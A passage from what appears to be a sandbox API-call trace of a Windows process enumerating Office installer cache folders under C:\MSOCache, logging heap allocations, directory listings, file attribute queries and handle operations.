(HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0041.598] NtClose (Handle=0x16c) returned 0x0 [0041.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0041.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed5a58 [0041.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed5c70 [0041.598] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0041.663] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.663] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="")) returned 1 [0041.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.663] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.663] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed5d78 [0041.663] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0041.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed65c0 [0041.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed7120 [0041.663] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.663] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="")) returned 1 [0041.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.663] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.663] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed65e0 [0041.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed7228 [0041.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed7330 [0041.664] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5990) returned 1 [0041.664] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.664] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0041.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.664] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.664] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6600 [0041.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4868 [0041.664] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.664] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.664] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.664] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6620 [0041.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4970 [0041.664] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.664] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.664] GetLastError () returned 0x12 [0041.664] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c38 [0041.664] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0041.665] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.665] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="")) returned 1 [0041.665] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="")) returned 1 [0041.665] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0041.665] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.665] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.665] GetLastError () returned 0x12 [0041.665] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5c70) returned 1 [0041.665] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0041.665] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5d78) returned 1 [0041.665] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5a58) returned 1 [0041.666] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0041.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.666] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0041.671] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0041.672] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0041.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0041.672] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0041.672] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0041.672] NtClose (Handle=0x170) returned 0x0 [0041.672] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0041.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0041.672] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0041.672] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c38 [0041.734] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.734] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.735] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.735] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0041.735] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6640 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4d90 [0041.735] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.735] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="")) returned 1 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.735] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.735] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6660 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4e98 [0041.735] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.735] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="")) returned 1 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.735] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.735] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6680 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4fa0 [0041.735] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.735] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.735] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.736] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed66a0 [0041.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed50a8 [0041.736] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.736] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.736] GetLastError () returned 0x12 [0041.736] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0041.736] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0041.736] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.736] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0041.736] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="")) returned 1 [0041.736] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="")) returned 1 [0041.736] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.736] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.736] GetLastError () returned 0x12 [0041.736] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4b80) returned 1 [0041.736] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0041.737] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4c88) returned 1 [0041.737] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0041.737] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0041.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.737] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all 